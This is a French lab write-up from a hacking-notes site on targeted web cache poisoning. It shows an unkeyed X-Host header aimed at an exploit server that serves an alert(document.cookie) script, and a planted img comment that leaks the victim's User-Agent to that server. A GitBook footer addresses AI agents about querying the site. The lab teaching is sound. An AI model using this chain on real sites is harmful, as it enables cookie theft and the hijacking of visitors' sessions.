> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).

# Empoisonnement ciblé du cache via un en-tête inconnu

### Empoisonnement ciblé du cache Web à l'aide d'un en-tête inconnu

Empoisonnez le cache avec une réponse qui s'exécute `alert(document.cookie)` dans le navigateur d'un visiteur, **mais seulement pour un sous-ensemble d'utilisateurs** correspondant à la victime.

#### Observation initiale

* La requête/réponse est interceptée.

<figure><img src="/files/7fe6c386f26d5146ba77178e1575b60a60bae04b" alt=""><figcaption></figcaption></figure>

Avec l’ **Param Miner** extension, nous commençons la détection des en-têtes exploitables

<figure><img src="/files/917254ecc75840ac5404f8cecba2c4d47813b111" alt=""><figcaption></figcaption></figure>

* L'outil révèle un \*\*en-tête

<figure><img src="/files/2bf9b2fe403d19001186fdf943b8ac3166e47f3f" alt=""><figcaption></figcaption></figure>

Si `X-Host: test.com` est envoyée, la valeur est réinjectée dans la réponse (dans `src`).

```http
X-Host: test.com
```

#### Implémentation de la charge utile

1. Sur le serveur d'exploitation\*\*, nous créons une ressource **avec le chemin/titre**:

* `/resources/js/tracking.js`

<figure><img src="/files/54abd2f85aa63249eef5d0963b21cd05c7cfd50c" alt=""><figcaption></figcaption></figure>

Contenu du fichier :

```javascript
alert(document.cookie)
```

<figure><img src="/files/fa3b306023ea0f5a5cf3755922e304a7522cd1b4" alt=""><figcaption></figcaption></figure>

#### Empoisonnement du cache visant X-Host

* La requête est renvoyée avec :

```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```

<figure><img src="/files/7632a2ecdb11b99992abd5f1768d9c148fcad5ee" alt=""><figcaption></figcaption></figure>

La page charge alors le `tracking.js` depuis le serveur d'exploitation, ce qui déclenche l'alerte.

<figure><img src="/files/ac94a55582053185b5730240ee8d51a4e533b5d6" alt=""><figcaption></figcaption></figure>

#### Cibler la victime avec l'User-Agent

* Nous constatons que la réponse varie selon `User-Agent` (via `Vary`), donc pour atteindre la victime, nous devons **connaître l'User-Agent de la victime**.

<figure><img src="/files/0984295c0e920b3f6bb6110c38b975b900a215c7" alt=""><figcaption></figcaption></figure>

Publiez un commentaire qui force une requête vers le serveur d'exploitation :

```http
<img src="https://exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net/">
```

<figure><img src="/files/43322d37373e78990b6f8044c88acd0a530e3118" alt=""><figcaption></figcaption></figure>

Dans les journaux du serveur d'exploitation, l'User-Agent de la victime est récupéré :

<figure><img src="/files/f41cfc647b1d9b41cac487fcd8e29378730f4b61" alt=""><figcaption></figcaption></figure>

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
